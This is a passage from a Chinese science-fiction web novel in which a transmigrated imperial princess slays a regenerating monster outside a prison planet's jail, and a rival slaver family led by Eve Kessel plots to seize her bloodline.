4号在她的耳畔轻语,那声音响起得时机正好,仿佛自带节奏,柯茵依靠星辰之力的力量,先抬手向左劈砍,剑势未消之际又挑剑向右上挥斩,这一记急速得左右分斩瞬间在怪物的双足上造成了纤长的血隙。
血隙之间下一秒喷涌出潮涌般的鲜血,瞬间染红了大雪。
怪物发出带着白汽哀鸣,整体重心还是向下倾倒着,像是滑坡的山体一样轰然向着地面砸去!
但就在它几乎倒下的几秒钟之内,肌肉的丝缕就重新把残肢包裹起来!血肉生长速度超乎柯茵的想象……
“继续。”4号坚定地说着,而柯茵也照做。
看到皇女的攻击没有效果,虽然没人说什么,但是军士长的士兵们心里还是有一点泄气,她们原本希望星辰能力的使用者们能给这场单方面的战局带来一些变数。
但柯茵明白,这轮攻势的目的已经达到,她继续着在怪物身上四处放血的招式。
因为她那柄血饲的长剑已经在血雨中酒足饭饱,有一把单手剑的长度逐渐延展成双手大剑的长度,并散发出餍足的甜腥。
而那被刺激的怪物也不甘示弱,从背后生长出更加粗壮让人难以招架的骨刺。
在骨刺的追击下高速移动的同时,柯茵发现怪物的重心也出现了不稳的迹象。
一方面是因为她的持续骚扰,另一方面也是因为它想要速胜的心态和那些更加沉重的骨刺极大地影响了了它的姿态。
“好时机。”4号说到,柯茵感觉自己的眼前出现了一道自己的身影,就着怪物倾斜的瞬间跳到它的半身处,像是未来的她的先遣息影。
这一定也是4号的能力,她的战技炉火纯青,以至于能够看到自己下一秒的动势!
体内的星辰之力翻涌沸腾,柯茵看准它歪到的间隙,向上挑剑,借力纵身一跃跳到那怪物的半身处,单手将双手长剑以淬火般的姿势送入怪物的皮肤——
长剑深深刺入怪物异化的厚实皮下,难闻的异味伴随着滋滋淬火声和怪兽的惨叫预示着她这次进攻的成功。
但就像是电浆集束一样,这点伤对于怪物来说还远远不够。
当然,伤害她也并非柯茵的目的。
那东西拼了命地争执,柯茵却借它前后摇晃的力量,以惊人地柔韧性翻身越到那怪物的背上,流利地拔出了先前刺入怪物身体中的利剑,整个过程像是舞者一般优雅。
想要结束这场骚乱,她必须将剑插入这家伙的脑袋。
柯茵缓慢起身,站在巨兽挣扎的脊背上,像是在桅杆上行走的水手一样,张开双手保持着微弱的平衡——她想要将剑尖插入怪物的头颅,就必须趁它现在低头想要甩掉自己的时候努力向前走!
就在柯茵向前攀爬的时候,怪物挣扎的愈发厉害,它数次歪到向两旁,想要把柯茵甩下去,寒冷的夜幕和大雪遮蔽了柯茵的视线,她只能双手把长剑刺入它的脊背,好让自己不会掉下去。。
忽然,怪物发现什么一样停下了!
柯茵在握着长剑被怪物乱甩的间隙,发现它是被远处的一个红色光点吸引了。
红色的□□照着黑色的监狱高墙,举着它的不是别人,正是克劳狄,他站在监狱高墙某个错位凸起的钢梁之上,对着柯茵屈手。
柯茵理解了他的意思。
他是让她把着怪物赶到高墙边。
但怪物的力量她已经见识了,那么做无疑要承担再次破坏监狱外墙的风险。
老实说,今天的麻烦已经够多了。
“该死的犯人。”
柯茵还没做出决策是,军士长的士兵们先反应了过来,举起电浆武器对着克劳狄开了两枪。
但还好,克劳狄以常人难以企及的速度跳下了钢梁,用双手抓住钢梁的末梢,躲过了那一次攻击。
就在他躲避的时候,他手里的照明弹也险些掉下去。
克劳狄狼狈地再次仅凭双手把自己荡上钢梁的时候,柯茵已经做出了选择,她双手紧攥长剑,借用自己的重量从怪物的背上滑下,并在它背部一侧的皮肉上划开了深长的裂口。
怪物彻底被柯茵激怒了,用畸形的跑步姿势,像是一个蹒跚学步的婴儿在雪地里追逐着柯茵。
柯茵拖着烈火长剑,不断接近着监狱的高墙。
就在她几乎跑到高墙的下的时候,柯茵余光看到红色的照明弹先被克劳狄投到了半空,在红色的光晕恰好划过怪物依然畸形的头颅时,克劳狄也看准时机一跃而下,
他用手上镣铐的锁链缠住怪物的脑袋,用力它扯到地面上!
克劳狄沉重地落地,激起一片扬尘似的雪沫。
带那些雪粒尘埃落定,能看到他死死牵引着怪物的头颅,力道大得惊人,让柯茵背后的亲兵们的瞳孔都瞬间恢复了正常。锁链颤动,克劳狄双臂肌肉暴起,额前满是冷汗,他颤抖着死死控住怪物的头颅,不准它挣动分毫,抬头看向一旁的柯茵。
“还你一命。”他说,“顺着头向内找到‘星核’才能结束这一切”
柯茵点头,抓准这个机会冲上去拔剑下挥,精准的砍掉了怪物的脑袋。
赤红的长剑在挥砍之前被注
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入了星辰之力,迸发出四散的火星,滚烫得如同恒星星表!柯茵用尽全身力气,将剑尖刺入巨兽的头颅——血液四溅,化作阵雨,四处倾洒。
但就在一片血色之中,柯茵看到怪物的头颅就然极快得再生了出来。
“军士长,枪!”
柯茵喊道,将力量从长剑中抽出,使其重新退化为一把匕首,并咬着匕首柄叼在嘴里。
军士长立刻心灵神会地将一把电浆步枪抛给了柯茵。
“好枪,可以连发。”
4号叹了一口气说道。
随后,柯茵利落地接下枪将那把长杆的电浆步枪举至肩位,一枪打碎了怪物新生的脑袋。
然后她一边稳稳地举着枪向前走一边开槍,每一步、每一枪都恰好无误地打碎一次怪物头颅的新生。
血肉四溅,几乎染红视线,但柯茵保持着冷静地射击,直到她看到怪物原本是脖颈深处的位置暴露出一块儿银白色的金属结晶。
“就是它。”
4号简短地说到。
柯茵对着那个位置连开三枪防止血肉再生,然后扔掉电浆步槍,冲上去用匕首剜下了血肉中的银白色结晶。
就在柯茵剜下那块儿结晶的同时,伴随着一声巨大的哀鸣,巨兽的身体缓缓向一侧倒下,那骇人的身形山岳似栽倒在大学中,腐肉发出滋滋的腐化声。
柯茵从骇人的中抬起头,她一把抹去自己脸上的血,看向一侧的克劳狄,他蹲下身,像只野狼一样从地上捧起一把雪,借着身体的余温洗去了脸上的血,用灰色的眼睛直勾勾地看向柯茵。
那目光似乎在说,“干得漂亮。”
战斗甫一结束,皇女的亲兵们便齐刷刷地抬枪顶住克劳狄的脑袋,克劳狄轻啧一声,举起手表示自己无意反抗。但不想,此时军士长快步走上来,她一把揪住皇女亲兵队长的领子,一副气急了的样子。
但柯茵在原主的记忆中一阵搜索,这两位女士分工不同且并无过节。
看来这梁子是刚刚战斗中结下了的。
“你让我的人送死。”军士长说着,拳攥得更死,“你们明明可以尽早使用那个该死的‘星辰之力’。”
“我只对皇女殿下的性命负责。”亲兵队长冷冷地看着军士长,冷静地回答,“你应该感谢殿下处于荣誉和对你们的负责,选择亲自解决那只怪物,不然‘你的人’还会死更多。”
“你说对,但保护殿下是你的任务,我带的是地面防卫的普通士兵,所以为什么一开始在那怪物威胁所有人性命的时候,你们为什么不上去把怪物杀掉?骑士……因为你不喜欢吗?”
亲兵队长单手推搡了一下军士长,她们两个人身后的士兵们瞬间对着彼此抬起手中的武器。
“够了……”柯茵学着克劳狄的样子,用地上的雪擦净自己的脸和手中的匕首,望向天边。。
这场战斗居然从午夜持续到黎明,雪已经渐停,天幕之上两点微弱的恒星光点冰冷地点亮远处的地平线。
“我们还有仗要打……”柯茵痴迷地注视着这天空,告诉自己手下的两名将领,她的话音轻松,有着劫后余生的淡然,“战争结束后,我可以专门给你们开一场辩论会,只要那时候,你们两个都活着的话。”
军士长松开了亲兵队长的领子,两个人各退了一步,士兵们这才放下武器。
还是克劳狄率先发现了皇女陛下凝视天空的背影,他对着亲兵队长指了指柯茵的背影,后者立刻上前一步阻拦,军士长则立刻抱怨道,“该死,出太阳了。”
亲兵队长攥住柯茵的肩:
“皇女殿下,您不能凝视星门!”
而柯茵则沉迷地注视天空中远比地平线上升起的两颗太阳更加巨大,更加显眼的东西,似乎被谁夺舍了一半。
在其他人眼中,皇女殿下正在注视着炼狱星附近的超时空星门。
星门是巨大的环形,它现在在天空中的大小大概有挂钟的表盘那么大,在机械环的正中,投射着星门所连接的星门那头的星空景色。
而在柯茵眼里,那星门是一颗巨大的眼睛,邪恶地转动着、最终目光停留在她的身上。
该死,那又是什么玩意儿?
柯茵反胃地想着。
19. 疯子和疯子们(18)
清晨,帝国监狱内喧闹不堪,除了训诫圣歌激起的哀嚎,还有犯人们对于今日排班的不满。
在帝国监狱内,除了聆听圣歌,还有一种赎罪的方法,免费供职于监狱内的纵式星核精炼工厂。
根据原主的记忆,柯茵想到帝国监狱原本就是由第一批星核的淘金者们搭建的“精炼城市”,因此具备星核精炼的功能也不足为奇。
所谓“精炼城市”指整个城市都寄居在烟囱一样的高塔内,所有人丛生到死都从事一项工作,在炼狱星,这门工作就是星核精炼,而星核则是熔血金属的前置产品,是星际贸易的重要商品,对整个帝国来说有着举足轻重的地位。
在亲兵和军士长的护送下,柯茵乘坐和来时不同的电梯回到帝国监狱的顶端。
因为刚下过雪,电梯以缓慢速度上升,这也给了柯茵一个非常好的从内部观察监狱内工厂的机会:
整条星核精炼生产带和监狱差不多高,各种功能区层层叠加,像随意搭建出来的金属高楼,毫无标准可言,混乱不堪——燃烧嘴时不时喷出伞状的烈焰,上千度的钢水包蛮横地穿行各处,倾倒出源源不断的液态融金,不知道何处钻出来的管道肆意吐出有毒烟雾,这一切都是以危险而诡异的方法叠在一起的。
她轻轻用手拨开自己面前的人墙,想要看得更清楚一点,但她方走到轿厢边缘,恰巧一道青蓝色烈焰铺面而来。
“脑残!把喷口关掉?!”
伴随着电梯的上升,柯茵低头看到方才喷火的燃烧嘴和那位差点被烈焰汽化的犯人——他身穿灰色的囚服,双手带着镣铐、脸上带着简单的三角巾,束手束脚地在帝国监狱内部那条纵式生产线上工作着。
在全年运转不休的生产线加热下,塔内的积雪融化成了清晨的小雨。
柯茵伸出手,接住了一滴雨。
雨滴中有着轻微酸味,在手心中则有着轻微灼烧感。
那些身穿囚服的犯人似乎必须
帝国监狱内部的星核精炼工厂,每天都有上万名轮值的犯人都在危险“纵式生产线”上爬高爬低,冒着各种性命危险为帝国军队初次冶炼这种军用的活体金属——
正是保证柯茵身上体温不变的熔血金属。
熔血金属散发着温暖地热议,柯茵看到站在自己身边的军士长,她们一会儿还在她的府邸讨论接下来的备战。
眼下缓慢上升的电梯可能是柯茵唯一能休息的时刻了。
柯茵看向自己身旁一丝不苟的军士长,盯上了她腰间的长柄玩意儿。
“军士长,你腰上的那个,右边的,是烟草吗?”
“没错,殿下。”
“我能试试嘛?”
皮肤黝黑而高挑的军士长愣了半秒,嘴角抽搐一下。
“所以,您只想要这个?没有什么别的要求……需求?”
“我听说您连着几天没有吃下什么?”
柯茵无所谓地点头,耸耸肩,礼貌地说:
“闲下来的时候我会注意补充能量的……但那个,我能试试吗?我会还你的。”
军士长释然地大笑出来,带着长期行伍生活养成的豪爽,军士长解下腰间的烟枪,连着烟叶袋一起扔给柯茵。在军士长笑的时候,柯茵才发现她有一双漂亮得出奇的蓝色眼睛。
“第四行省的高级货,殿下,不用还了,我应该做的。”
军士长看向皇女,她方才处理完监狱地基层的裂隙后,立刻给帝国律法至高庭做了一份备案。
她“体面地”将本次袭击上报成了暴徒的越狱,并“详细地”虚报了越狱的人数——800人。
帝国监狱里有臭名昭著的星匪、背叛女皇殿下恩宠自立的叛军甚至还收融了一些极度危险的活跃于帝国边缘、尊崇诡异信仰的异教徒。
因此,在帝国监狱发生这个规模的越狱并不算什么大事。
但是大敌当前,皇女殿下这一步冷静的布局还是令军士长有些不敢置信,在出这招“暴徒越狱”之前,军士长对着怪物装出的巨大裂隙问她:
“殿下,如果凯瑟尔家的‘商船’收到这边的消息,决定一意孤行,我们难道不应该求援吗?”
向来严厉地皇女殿下居然浅浅地笑了,像是一位耐心的师长,在面对问出非常好问题的学生时谆谆善诱的那种笑容——她赤色的长发被怪物地血粘成肮脏的丝缕,却并不能显得肮脏,反而像是刻意为之的造型。
“向谁求援,军士长女士,向这场斗兽棋的裁判们,还是围着周围的观众呢?”
军士长把思绪收回当下,她清清嗓子,在亲兵队长警惕和芥蒂的目光中,和皇女殿下尴尬地搭着话:
“殿下,您似乎有些不一样了……您戒酒了?”
“哦?我倒觉得没什么不同。”
柯茵没有就着这个话题说下去,她伸手接过若有所思的军士长手中的烟具,还没来得及补上一句谢谢,就听见身后传来整齐的脚步声和铁链碰撞的声音。监狱的中部某层,电梯停下了,士兵们有的押解着两个叛徒走向刑场,有的则在调遣下前往监狱外警戒。
军士长扒着老旧的电梯门和外面喊了两句什么,柯茵没太听清,她正专注地摆弄着那杆她不太熟悉地烟枪,没想到她刚刚把一撮星际时代的外星叶子填进膛,那些青蓝色的叶子就自己蜷缩燃烧起来。
军士长说完,电梯再次启动,烟雾被甩在电梯之外,在阴暗的监狱电梯轿厢里形成一道淡青色的尾迹。
柯茵眯着眼睛,任由温润的草叶味在喉咙里滚动。这种来自第四行省的叶子里混着一些特殊的香料,让她那具因为力量药剂而紧绷的身体稍微松弛了些。
她终于有时间停下来,思考一切发生过的事情。
纵使她数次穿越,已经对穿越到陌生而危险的场合了如指掌,这本星际小说的烈度还是超过了她的想象:
她一过来就险些被狡猾的男主蒙骗,又差一点上了对手家族的当,杀害她们送过来当诱饵的奴隶。
她穿到的这个原主和政治斗争绝缘,长期服用力量药剂伤害了她的大脑,她喜怒无常,杀人成性,却不知道如何利用恐惧,最重要的是,八皇女的行为已经危险到在她自己的领地范围内造成了巨大的权力真空。
眼下,对八皇女最大的威胁就是那个满腹鬼胎、趁机填满了权力真空的凯瑟尔家族,她们作为封臣,敢如此对封君发难,背后必定伴随着什么人的指使……凯瑟尔家族是谁的马前卒?
柯茵很快联想到系统一开始给她的介绍。
帝国奉行弑亲继承法。
所以,柯茵断定,帝国不会有任何军事力量介入这场战斗。
她眼下面临的这场战斗,就是打响皇族血亲之间兼并征战的第一仗。所有人都等着看作为第一个遭受考验的皇女,柯茵会交出怎样的答卷,所以这注定是一场柯茵和她的战士们必须要独自面对的战斗。
柯茵感谢起凯瑟尔送给她的第二份大礼,她此时最需要稳定人心,而对于战士们来说,没有什么许诺能比得上与主将在鲜血中锻造出的忠诚。
但就算她有着这些士兵的支持,接下来她还需要面对残酷的、她不慎熟悉的星际战斗,而在那之后,她又如何彻底拔除凯瑟尔家族在第三行省的地位。
这一切都是未知数。
一个又一个的危机就像是林中猎犬,操持着低沉的磨牙声不断靠近她。
而她所拥有的,只有那个需要时刻保持清晰的大脑。
哦,还有,她为自己选择脑海中的盟友。
以及系统应允她的
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那个洞悉系统。
柯茵让思绪伴随烟丝心猿意马地在整间监狱里漂荡。
她原本想思考一下洞悉系统的用法,但她抬头看看电梯对面似乎永无止境的监狱高墙。
应该距离她抵达顶层还有一些时间。
不如趁这个时候放空大脑休息一下柯茵想着,难得地放纵自己休息几分钟。
==
“我们在帝国监狱的线人传回消息,炼狱星表标准时清晨左右,监狱地基层出现了一个裂隙,随后那个裂隙便被补上了。”
“如果消息无误的话,她们已经在着手修复监狱的外墙了。”
伊芙凯瑟尔没有理会她的女儿,反而看向自己手边那个格外邋遢的奴隶:
“米卡尔,来。”
伊芙方一说话,身旁的奴隶立刻递上了一托盘莓果,伊芙随手挑了一个,扔到空中,跪在地上的男人立刻匍匐几步,对着天空张开嘴,像是会这种把戏的家犬一样接住了食物,随后,他狼狈地吞咽了几下然后低下头去。
动作间,男人皮包骨一般的瘦削身材展现出来,长期营养不良让他连爬都要费劲很大的力气。无神的目光始终藏在他乱糟糟的头发下。
“母亲别玩了……!您的计划再次落空——”
听到自己的女儿说“计划落空”这几个字,伊芙不动声色捏紧了自己的书页,总是保持克制微笑的脸上像是裂开一样淌一丝轻蔑的冷意。
“奥莉薇,亲爱的,你知道这个人是谁吗?”
奥利维亚当然知道。
那个肮脏的、毫无尊严的、乞食求生的、被母亲当做动物一样对待的男人正是奥利维亚自己基因上的父亲。
只不过,母亲从不告诉她关于她和这个男人之间的事情。
而说实话,奥利维亚也并不在意。
在凯瑟尔家和帝国的大部分地方,贵族女性掌握一切——权力、海运、军事、行政,而贵族男性则是可有可无的东西,他们唯一的价值就是像雄性白蚁一样拍拍他们美丽的翅膀在婚飞的时候引起另一个贵族家庭的在意罢了为他们即将融入的新家族提供基因和先祖记忆罢了。
而存储着基因和先祖的记忆的泉水,也被称为圣泉。
因为提供圣泉是一个非常简单的工作,所以帝国有着一系列包装这项工作的意识形态和礼仪,目的就是为了让男性们相信他们对于整个上层社会而言真的不可或缺。
但事实并不是这样的。
任何有脑子的女性都知道权力掌握在他们的生母和主母手中,而不是那些装饰物一样的父亲的手中。
奥利维亚就从不在意这一点,她虽然能够从血脉上感受到母亲对父亲的欺辱令他本能的不适,但她也只会把这种感情化作对于父亲的厌恶上。
看奥利维亚没有反应,伊芙凯瑟尔抚摸起自己女儿父亲的头发,温柔地回忆道:
“五十年前,在你出生之前,凯瑟尔家族并不是第三行省实际上的扈从家族,那个时候,第三行省的扈从家族是希里家族,她们是一种名为人狼的第三行省原住民。”
“米卡尔就是第三行省的最后一个希里人狼。”
“我原本是打算把当做礼物送给八皇女殿下的。”
奥利维亚嫌恶地发出啧舌声。
“您为什么要送这种东西。”
“因为她曾经很英俊,奥莉薇,你一定没想到吧。”
伊芙凯瑟尔的话音轻快,那语调像是情窦初开少女一般。
她笑眼如春,接着回忆道:
“不仅如此,亲爱的,他年轻的时候还曾经是整个北方行省最英俊的男人呢,人人都喜欢他,每个贵族小姐都想拥有他。”
“其中就包括彼时尚且年幼,连初潮都没来过的皇女殿下。”
20. 疯子和疯子们(19)
伊芙说着,流露出回忆往事时才有的一丝温柔。
“我和米卡尔结婚时候八皇女也在场,那时候她还小,但已经显露出如今的放浪性格,她作为皇族贵胄居然公开在婚礼上说自己也想要像米卡尔一样的男人,她说她喜欢他灰色的眼睛,‘像是一场永无止境的大雪’,八皇女甚至还因为这个向女皇陛下讨要了第三行省作为她未来的封地。”
“皇女很有眼光,她看上的是整个帝国北方行省最炙手可热的男人,每个贵族舞会上都让人期待的谢幕节目。听到皇女的话,女皇陛下很是高兴,米卡尔也因为她的童言无忌第一次在我面前笑了出来。主宾尽欢。”
“只有我,奥莉薇,像是一个不解风趣的小丑,尴尬地站在一旁,任人取笑。”
奥利维亚从未听母亲提起过她和父亲的往事,但已经隐隐能够感受的母亲受到无数贵族羞辱时的屈辱感。
她知道,母亲成婚的时候,凯瑟尔家族还只是第三行省上名不见经传的边境领主。
那时候,所有贵族都认为凯瑟尔家族的奴隶贸易的营生卑劣不堪,完全比不上行省内的希里家族所从事的铸造事业高尚。
对于母亲来说,和希里家族的男人成婚让她受尽了其他贵族的非议。
再加上母亲口中的往事,奥利维亚更加能够理解母亲对于八皇女的憎恶。
“这就是您为什么痛恨八皇女的原因吗?母亲,我能够理解。”
“痛恨?”伊芙那张完美无瑕的脸再次皲裂开缝隙,迸发出大笑,“我从没有恨过她,就像是我从没有恨过米卡尔一样。”
“恨是无用的情绪,奥莉薇,你要剥夺那些伤害过你的人拥有的一切,然后你就会获得长久的、难以磨灭的快乐。”
“我亲手消灭了希里家族,绞死了所有的母狼。我为凯瑟尔家赢得了今日的荣光,也让我曾经的丈夫,为他婚礼上的那个笑容付出了应有的代价。”
伊芙说罢,又调了一颗莓果掷到空中,名叫米卡尔的男人还如同刚才一样稳稳地接住了他的主人投喂来的食物。
毫无尊严地用嘴巴接住了。
“卡米尔曾经很恨我,看他现在……多乖啊。”
伊芙凯瑟尔利用她的能力向前挥手,在奥利维亚面前,第三行省的星图徐徐展开。
整个第三行省的状况,全部标注在那张冰蓝色的星图上,包括100多颗可潜在殖民地、7颗铸造星球、4个矿业星球和3个大型宜居地——
其中,三个大型宜居地分别是草原世界“E010”、沙漠世界“永夏星”和都市星球“寇里”——目前,这三个最重要的大型宜居地都是凯瑟尔家的名义领地,甚至包括了原属于八皇女的都市星球,第三行省的首府寇里。
而第三行省的7个铸造星球和3个矿业星球之间靠着复杂的星门和轨道钩航线相连接,构成了复杂的铸造贸易网。
伴随伊芙凯瑟尔的手指挥动,时间到回退五十年前。
五十年前的星图明显黯淡很多,三个大型宜居地则分别用不同的颜色标注着所属——蓝色的希里家族,红色的凯瑟尔家族,还有深紫色的皇女封邑,而一条条生命线版的曲折圆形航道则是金色的。
这短短五十年间,凯瑟尔家以不可席卷之势击败了希里家族并架空了八皇女,这其中,少不了伊芙凯瑟尔的经营。
伊芙凯瑟尔将手再次挥动。整个星图重新恢复到目前的状态。
虽然和五十年前对比,整个星图上全部红色的面积,也就是凯瑟尔家族实际控制的范围增加了,但十分诡异的是整个星系中那些金色螺旋一般的航道则变得更少了。
这一切都是因为星门在不断减少。
“‘航线隐迹,坏血喷涌’,整个宇宙中的星辰之力都在衰弱,帝国正在经历一场史无前例的‘黑暗衰退’。”
奥利维亚凯瑟尔想到了她在圣堂受训之时她的导师所说的内容。
但她仍不明白母亲给她展示这副图景是什么意思,更不知道这和她所讲述的那个故事有什么关系。
“八皇女。”伊芙凯瑟尔眉头没尾地说,“我从不恨她。”
“事实上,我思索了很久……比如为什么女皇会那么宠爱她,她明明有着所有她的女儿中最不起眼的星辰能力。”
“这一切都在我为女皇送行的时候得到了答案。”
“当着所有人的面,年仅十二岁的八皇女创造了一扇崭新的星门,那扇星们就是我们眼前的这扇。”
看向眼前直径上千万公里的巨大星环所囊括的星门——这居然是出自八皇女之手?
她居然是能召唤星门的『开拓者』?
奥利维亚被母亲的话震撼了。
那一瞬间,奥利维亚似乎看到年幼的皇女站在满是阳光绿荫草甸上,对着遥远的空中合拢双手,伴随着她拇指和食指比成“L”形的双手缓缓打开,遥远的星际间从此诞生了一扇全新的星门。
星门是帝国存续的根基——商船、军队、福音,哪怕是皇女陛下的一道小小命令也必须依靠星门之间链接。如果没有星门,那帝国诸多行省的殖民地之间就会无法沟通,最终陷入不可挽回的“黑暗衰退”。
“可八皇女的能力在成年后就不复存在了,不然她不会在前线弃城而逃,导致数十个堡垒沦陷……”奥利维亚坚称着。
如果八皇女还具备『开拓者』的能力,她总不会落得今天这步田地。但奥利维亚还没说,她自己就瞬间想到了安泊尔曾经发回的信息。
『皇女陛下于寝殿内闭门三天,随后,性情大变。』
这条消息再加上皇女轻巧地解决了她们给她留下的那个大麻烦——那只异化的怪物。一个令人瞠目结舌的想法在奥利维亚凯瑟尔的脑海中诞生了。
“您认为,皇女的力量再觉醒了?”
“我不会去赌这样一个小概率事件,但我需要你现在知道的是,无论她的力量是否重新觉醒,她的圣泉却是我们家族所必须的……”伊芙合上书,开始传授给她这个唯一的女儿在凯瑟尔家必备的生存之道——智慧。
“八皇女柯茵愚蠢、贪婪、易怒,总是让情感主宰自己的理智。”
“而我们不一样,孩子,凯瑟尔家精于计算——我们需要的不是名誉,而是她的圣泉。”
“我们需要的不是贵族们的笑容与赞叹,而是能把我们的行商带到宇宙各处的星门……”
“一座灯塔。”奥利维亚如此替她的母亲总结到。
母亲向她透露出的最终计划让奥利维亚感叹自己和母亲的老练仍有距离,但正因如此,她的心中才充满对母亲的向往。
“正是这样,一座伟大的,能让凯瑟尔家的狩猎扈和贩奴船从前往这个星际间任何地方的灯塔。”
“夺取她的圣泉,哪怕凯瑟尔家要因此背负星际间的骂名,但这是我们的必须付出的代价。”
“皇女殿下不会愿意的。”奥利维亚被母亲的话说得心情激奋,竟然鲜见地开起了玩笑。
伊芙凯瑟尔也被自己的话语打动了和自己的女儿一同笑了起来。
“没错,她不会愿意的,所以,我的女儿,你会让她愿意的。”
“等开拓者的血脉融入凯瑟尔家族,我们的战舰和商船将无所不至,到时候没有人会再鄙夷凯瑟尔家营生的卑劣。”
“她们只会赞叹我们铸就的伟业。”
伊芙说着,仿佛有战鼓在她身边响起。
她从奴隶手中接过她发号施令时一定要用到仪仗卷轴,卷轴的轴体是两根精巧的陨石圆柱,但是两根圆柱之间却是中空的全息影像,伴随着伊芙凯瑟尔本人的意志浮现出大量的字迹。
“让我们的四艘拖船继续前进,其余的战斗编队全部返回母星。”
伴随着她的命令,原本罩住“永恒盛夏号”的辐射挡板全部降下,全景玻璃外,上百艘比永恒盛夏号略小一些的主力歼星舰正垂直分布在母舰的上下,场面十分壮观。
而在伊芙凯瑟尔下达部署后,这些座头鲸般的星舰们开始在宇宙中缓缓调转姿态,向后回撤,留下电喷引擎的绛蓝色光芒,像是无数群星拖着尾迹坠向远方。
“奥利维亚!”
“我在。”
就在伊芙凯瑟尔的命令中,一些奴隶为奥利维亚准备好了她作战的甲胄,闪耀陨石纹理的熔血金属装甲被熟练地穿到了她浅灰色的作战服之外——她的弓箭也被卡在了背后的武器装槽中。
穿戴整齐随时可以和敌人进行血战的奥利维亚凯瑟尔上前一步,单膝跪在了自己的母亲身边。
伊芙凯瑟尔将已经写有她命令的任务卷轴合上,交给她的女儿。
“带领‘永恒盛夏号’跨越星门,保证那四艘托运货船押运的货物‘安全’抵达炼狱星系。”
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>“杀光所有阻拦它前进的人。”
“遵命,母亲。”
就在委任仪式结束的时候,某个意想不到的声音响起。
一直没有发出过声音的米卡尔用他已经被强酸腐蚀过的喉咙艰难地说出一句劝慰:
“伊芙……你在将你自己的家族送入深渊。”
“你会害死我的女儿。”
这个谈话中的他者,命运悲惨的父亲第一次在自己的女儿面前违抗她母亲的意志,第一次出言,像是人而非野兽一样说些什么。
“你的……女儿?”
伊芙凯瑟尔讥笑,声调拉得很高,她那双被野心点燃的炽热目光黯淡了不少,好像是被这扫兴的一幕熄灭了。
伊芙凯瑟尔向上狠狠攥紧了自己的右手——
跪在地上的米卡尔立刻仿佛被人抓住了下巴一样被迫抬起头,陷入几乎窒息的状态!
长期的营养不良让这个传说中北方行省最英俊的男人早就失去了年轻时候的俊美面庞,他的眼窝和颧骨深陷,像是一具还能行走的骷髅。
他所拖着的这副身躯,似乎马上就要被曾经妻子的愤怒所碾为齑粉。
但伊芙凯瑟尔最终还是松开了收,她压制住自己的愤怒,就好像她数十年间一直做得那样。
在凯瑟尔家族的上升期,伊芙凯瑟尔总是把自己的愤怒化作美妙的计划,征服的弦乐。
此刻,压下愤怒的伊芙凯瑟尔平静地看着米卡尔的眼睛,仿佛什么也没发生一样评价道:
“奥莉薇,你还记得我们送过去的那个奴隶吗?那家伙和米卡尔年轻的时候一模一样。”
“希望他已经死了,母亲,他知道了太多关于我们家族的秘密。”
“说实话,我不明白您为什么选择他作为诱饵。”
伊芙没有回答,反而思索起自己当时为什么在众多的奴隶中挑中了那个狩猎扈从。
俊美当然是第一标准,身材、脸蛋都要是八皇女所喜欢的——这样,她才会觉得愤怒和不舍。
但最重要的,是那个奴隶的眼睛。
在看到那个奴隶的瞬间……他叫什么来着,但总之,在看到他那双灰色眼睛的瞬间,伊芙凯瑟尔就笃定,八皇女一定会喜欢那家伙。
因为他有一双和米卡尔一样漂亮的眼睛。
伊芙的目光看向自己很久很久之前的丈夫,看向他无神的眼睛——她已经很久很久没有从这双眼睛中看到过恨意了,说实话,伊芙非常喜欢卡米尔那双眼睛迸发出怒火的时候。
那双灰色的眼睛在愤怒的时候像冰川下的一团死火挣扎,有不自觉将人的目光吸进去的能力。
瞳孔漆黑的地方像是宇宙的终点,浅灰色的虹膜则像是星际尘埃在缓缓聚积。
愤怒,不甘,仇恨,悲伤……
当它们全部都装在一双浅灰色的眼睛里时,正如年幼的皇女所说:
如同一场永无止境的雪,落在长冬句尾。
柯茵挥了挥手,把夜雪中,克劳狄的灰色双眼还有它带给自己的诡异情绪从脑海中赶走。
她身体泡在温暖的浴室池水里,享受着暴风雨前的短暂平静。温泉浴室的袅袅蒸汽中,全息屏幕清晰地显示着她的位置——
行宫的地下浴室,紧临着象征皇女法统和神圣血脉的圣泉。
在这颗极寒星球冬季行宫温暖的地下浴室里,柯茵重新唤醒浴室中全息屏幕,继续了解可以从星网上收集到的凯瑟尔家族的信息。
关于凯瑟尔家族,星网上只有简要的介绍。
凯瑟尔家族是目前第三行省的扈从家族,协助皇女管理第三行省中的矿业星球和铸造星球,负责皇室御用的“熔血”金属的进贡事宜——自己所在的
第三行省实行奴隶制,而凯瑟尔家族是第三行省最大的奴隶主。
凯瑟尔家族现任主母是范琳娜凯瑟尔,她共有四个女儿,继承人不详。家族主星位于第三行省的一颗沙漠世界的永久性绿洲中。
柯茵从中获得的信息很有限,但大多数都和她之前设想得差不了多少——
正如她之前所料,凯瑟尔家族管得太多了,明明第三行省是她的封地,但皇女却让她们掌握了太多的实权。
想罢,柯茵关掉屏幕,她听到浴室外,她一直在等的人恰好进来。
半个小时前,柯茵得到了凯瑟尔的舰队向后撤离的消息。
21. 疯子和疯子们(20)
水汽氤氲的浴室中,几缕淡淡的水汽在温热的水面上缓缓升腾、缭绕。柯茵的亲兵队长身着轻便的战服,湿漉漉的头发随意地披在身后,在皇女的浴室边角找到可以站立的地方。
随后进来的军士长向柯茵致意后随便找个了角落坐下。
半个小时前,她们都得到了凯瑟尔的舰队向后撤离的消息。
这听起来是个好消息,似乎印证了柯茵目前所做一切的成功……好像凯瑟尔家族终于觉察到了进攻的风险。
真的是这样吗?
见自己的客人已经到了,柯茵挥了挥手,招呼她的将军们一起泡澡。
“医生说池水来自于炼狱星的地心,特殊的离子构成让它有了某种疗愈功效,还能有助于体内力量的运转。”
柯茵举起自己缠着绷带的手心,半开玩笑地说着:
“但医生说伤口处不能着水……这一定是池水管用的标准。”
“感谢您的好意,殿下。”
皇女的亲卫队长摇了摇头,她的熔血甲胄仍不离身,但头发上已经没有先前战斗中的血迹,显得非常整洁。
军士长在池水边的长椅上板正地坐着,她似乎在战斗中腿部有些受伤,听到皇女的邀请,她果断地挽起右腿的裤腿,把自己因为受伤有些肿胀右腿浸泡到了池水当中。
池水对于柯茵来说除了提供热量其实没什么作用,但她的宫廷医生坚称泉水对于凡人的功效,不仅能治愈身体创伤,还能源源不断地补充众人的星辰之力,是他们在这片神秘星系中极为珍贵的资源。
只见池水虽然对于皇女没什么影响,但似乎对于军士长效用颇多。
柯茵见状,招手,门外的侍者为军士长递上了两杆烟枪。
“哦,感谢您,皇女殿下,您还记得这个呢。”
